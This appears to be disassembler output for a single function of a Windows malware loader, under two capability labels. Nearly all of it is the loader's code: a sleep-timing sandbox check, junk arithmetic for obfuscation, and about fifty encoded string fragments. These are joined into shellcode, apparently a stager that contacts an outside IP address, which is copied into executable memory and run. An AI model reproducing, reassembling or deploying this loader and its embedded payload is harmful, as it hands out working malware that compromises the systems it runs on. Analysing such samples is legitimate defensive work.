Function at 0x1400018be
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
sub rsp, 0x688
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x620], ecx
mov qword [rbp + 0x628], rdx
call fcn.1400028c0
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5fc], eax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov ecx, 0x1c3
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sub.msvcrt.dll_clock
mov dword [rbp + 0x5f8], eax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
mov ecx, 0x94c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5f0], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov eax, dword [rbp + 0x5f8]
sub eax, dword [rbp + 0x5fc]
cmp eax, 0x1c2
jle 0x1400027e5
mov eax, dword [rbp + 0x5f8]
sub eax, dword [rbp + 0x5fc]
cmp eax, 0x226
jg 0x1400027e5
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rcx, str.fhQCmYw
call fcn.140001583
lea rax, str.OTA5MGZjNDg4
mov qword [rbp + 0x5e8], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.M2U0ZjBlOGM4MDAwMDAwNDE1MTQxNTA1MjUxNTY0ODMxZDI2NTQ4
mov qword [rbp + 0x5e0], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.OGI1MjYwNDg4YjUyMTg0ODhiNTIyMDQ4OGI3MjUwNDgwZ
mov qword [rbp + 0x5d8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.mI3NGE0YTRkMzFjOTQ4MzFjMGFjM2M2MTdjMDIyYzIwNDFjMWM
mov qword [rbp + 0x5d0], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.5MGQ0MTAxYzFlMmVkNTI0MTUxNDg4YjUyMjA4Yj
mov qword [rbp + 0x5c8], rax
mov dword [0x14001b024], 0
lea rax, str.QyM2M0ODAxZDA2NjgxNzgxODBiMDI3NTcyOGI4MDg4MDA
mov qword [rbp + 0x5c0], rax
mov dword [0x14001b020], 0
lea rax, str.wMDAwNDg4NWMwNzQ2NzQ4MDFkMDUwOGI0ODE4NDQ4YjQwMjA0OTAxZDBlMzU2NDhmZmM5NDE4YjM0ODg0ODAxZDY0ZDMxYzk
mov qword [rbp + 0x5b8], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.0ODMxYzBhYzQxYzFjOTBkNDEwMWMxMzhlMDc1ZjE0YzAzNGMyNDA4NDUzOWQxNzVkODU4NDQ4Yj
mov qword [rbp + 0x5b0], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.QwMjQ0OTAxZDA2NjQxOGIwYzQ4NDQ
mov qword [rbp + 0x5a8], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.4YjQwMWM0OTAxZDA0MThiMDQ4ODQ4MDFkMDQxNTg0MTU4NWU1OTVhNDE1ODQxNTk0MTVhNDg4M2VjM
mov qword [rbp + 0x5a0], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.jA0MTUyZmZlMDU4NDE1
mov qword [rbp + 0x598], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.OTVhNDg4YjEyZTk0ZmZmZmZmZjVkNmEwMDQ5YmU3NzY5NmU2OTZlNjU3NDAwNDE
mov qword [rbp + 0x590], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.1NjQ5ODllNjRjODlmMTQxYmE0Yzc
mov qword [rbp + 0x588], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.3MjYwN2ZmZDU0ODMxYzk0ODMxZDI0ZDMxYzA
mov qword [rbp + 0x580], rax
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
lea rax, str.0ZDMxYzk0MTU
mov qword [rbp + 0x578], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.wNDE1MDQxYmEzYTU2NzlhN2ZmZDVlYjczNWE0
mov qword [rbp + 0x570], rax
mov dword [0x14001b020], 0
lea rax, str.ODg5YzE0MWI4OTgxZjAwMDA0Z
mov qword [rbp + 0x568], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.DMxYzk0MTUxNDE1MTZhMDM0MTUxNDFiYTU3ODk5ZmM2ZmZkNWViNTk1YjQ4ODljMTQ4MzF
mov qword [rbp + 0x560], rax
mov dword [0x14001b024], 0
lea rax, str.kMjQ5ODlkODRkMzFjOTUyNjgwMDAyNDA4N
mov qword [rbp + 0x558], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rax, str.DUyNTI0MWJhZWI1NTJlM2JmZmQ1NDg4OWM2NDg4M2MzNTA2YTBhNWY0ODg5ZjE0ODg5ZGE0OWM3YzBmZmZmZ
mov qword [rbp + 0x550], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.mZmZjRkMzFjOTUyNTI0MWJhMmQwNjE4N2JmZmQ1ODVjMDBmODU5ZDAxMDAwMDQ4ZmZjZjBmODQ4YzAxMD
mov qword [rbp + 0x548], rax
mov dword [0x14001b020], 0
lea rax, str.AwMGViZDNlOWU0MDEwMDAwZThhMmZmZmZmZjJmNDk1NDU2NmEwM
mov qword [rbp + 0x540], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.DMyYzlkYTc2MDk2MjhlYzI3NmJlYTJmZDZmNDIwNjJkOWQ4NTMxMGViODM2Yj
mov qword [rbp + 0x538], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.kxOGU4MGQwNjk
mov qword [rbp + 0x530], rax
mov dword [0x14001b024], 0
lea rax, str.xMDNiNjVlZGI1MGQ4NWVkY2RiNmQ1MzVjMTc0M2VlZGRjOWQxMWZhN2YzMWQ1MjE5ZTVkMjZjMGFkMDgyMmExZWU5YjV
mov qword [rbp + 0x528], rax
mov dword [0x14001b024], 0
lea rax, str.mZDBkYWNkMDg2MGNiNTMzYWI0Y
mov qword [rbp + 0x520], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.WM0MDA1NTczNjU3MjJkNDE2NzY1
mov qword [rbp + 0x518], rax
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
lea rax, str.NmU3NDNhMjA0ZDZmN2E2OTZjNmM2MTJmMzUyZTMwMjAyODY
mov qword [rbp + 0x510], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.zNmY2ZDcwNjE3NDY5NjI2YzY1M2IyMDRkNTM0OTQ1MjA
mov qword [rbp + 0x508], rax
mov dword [0x14001b020], 0
lea rax, str.zOTJlMzAzYjIwNTc2OTZlNjQ2Zjc3NzMyMDRlNTQyMDM2MmUzMTNiMjA1NzRmNTczNjM0M2IyM
mov qword [rbp + 0x500], rax
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
lea rax, str.DU0NzI2OTY0NjU2ZTc0MmYzNTJlMz
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.AzYjIwNDI0ZjQ5NDUzOTNiNDU0ZTU1NTMyOTBkMGEwMDNjOThiZTQyM2NlYmE1MTZiOTkyNTYwMThiOTg2NzY4ZTQxMTk2N
mov qword [rbp + 0x4f0], rax
mov dword [0x14001b024], 0
lea rax, str.zdlYTFlMjFlZmJiN2I1Yzc0YzdiYmQxYTc2N2E3OTdiYWZiMjIxYmVmODEyZTZkNzRlMTczMDk
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.2YTRjMzY2MDRjMDE5MmU1MDg3Y2U4OGQzNDIxODY3YTk2OThmMDZiZDk1ZDA5MDk2ZmQyNTE0ZTdiOTVkNjczOWI4NDI
mov qword [rbp + 0x4e0], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.zNTYxNzgwYTVlZmIyMzc0YWJiZTAxZjJmMThkMWJlZWE3NjEzNTUxZDFhZDFjN2U
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.4YjdjMzkzMmUxMDEwNzgxMzhiNzUyY2M5ZTE1ZmRjYTQzOGU5MzM2OGQ4MTkxMDg2NjE5MDJkZjBhMGMxMDllZDl
mov qword [rbp + 0x4d0], rax
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
lea rax, str.hMTczNzA0ZDQ4MGJmMzc0ODllNWVmOThiY2E2NDdjZGF
mov qword [rbp + 0x4c8], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.hMTY1OGIzMjUwNzU1NDEz
mov qword [rbp + 0x4c0], rax
mov dword [0x14001b020], 0
lea rax, str.ZDgwMTkzYzEwZmIwYzNmNjMxMmE5
mov qword [rbp + 0x4b8], rax
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
lea rax, str.OTExZWRmNmM4MzgwYTl
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.lYjczYzZlMz
mov qword [rbp + 0x4a8], rax
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
lea rax, str.dhYTJjZGZmNmNhM2QyZWEyMjU4MTgxYmY0M2M0NzExMjlkMTJiMjk1NGQwMDQxYmV
mov qword [rbp + 0x4a0], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.mMGI1YTI1NmZmZDU0ODMxYzliYT
mov qword [rbp + 0x498], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.AwMDA0MDAwNDFiODAwMTA
mov qword [rbp + 0x490], rax
mov dword [0x14001b020], 0
lea rax, str.wMDAwNDFiOTQwMDAwMDAwNDFiYTU4YTQ1M2U1ZmZkNTQ4
mov qword [rbp + 0x488], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.OTM1MzUzNDg4OWU3NDg4OWYxNDg4OWRhNDFiODAwMjAwMDAwNDk4OWY5NDFiYTEyOTY4OWUyZmZkNTQ4O
mov qword [rbp + 0x480], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.DNjNDIwODVjMDc0YjY2NjhiMDc0ODAxYzM
mov qword [rbp + 0x478], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
lea rax, str.4NWMwNzVkNzU4NTg1ODQ4MDUwMDAwMDAwMDUwYzNl
mov qword [rbp + 0x470], rax
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
lea rax, str.ODlmZmRmZmZmMzQzNzJlMzkzNjJlMzMzNzJlMzgzODAwMTc1MDY1
mov qword [rbp + 0x468], rax
mov dword [0x14001b020], 0
lea rax, str.ZWE
mov qword [rbp + 0x460], rax
mov dword [0x14001b020], 0
mov qword [rbp - 0x60], 0
mov qword [rbp - 0x58], 0
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x92
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov word [rdx], ax
add rdx, 2
mov rdx, qword [rbp + 0x5e8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcpy
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5e0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5d8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5d0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5c8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5c0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5b8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5b0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
add eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b024]
mov edx, dword [0x14001b020]
sub eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b024]
add eax, eax
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b020]
imul eax, edx
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
mov edx, dword [0x14001b024]
sub eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x498]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov dword [0x14001b024], 0
mov rdx, qword [rbp + 0x490]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov edx, dword [0x14001b024]
mov eax, dword [0x14001b024]
imul eax, edx
mov dword [0x14001b024], eax
mov rdx, qword [rbp + 0x488]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov eax, dword [0x14001b020]
add eax, eax
mov dword [0x14001b020], eax
mov rdx, qword [rbp + 0x480]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x478]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x470]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x468]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rdx, qword [rbp + 0x460]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sub.msvcrt.dll_strcat
mov rax, qword [rbp + 0x5f0]
lea rdx, [0x14001ca0a]
mov rcx, rax
call fcn.1400015d4
mov qword [rbp + 0x458], rax
mov rdx, qword [rbp + 0x458]
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140001875
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4a6
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x450], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x450]
mov r8d, 0x4a6
mov rcx, rax
call sub.msvcrt.dll_memmove
mov rax, qword [rbp + 0x450]
call rax
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add edx, eax
mov eax, dword [0x14001b028]
add eax, edx
mov edx, eax
lea rcx, [0x14001ca0c]
call fcn.140001583
jmp 0x140002806
mov edx, dword [0x14001b020]
mov eax, dword [0x14001b024]
add eax, edx
mov dword [0x14001b024], eax
lea rcx, str.fhQCmYw
call fcn.140001583
nop
add rsp, 0x688
pop rdi
pop rbp
ret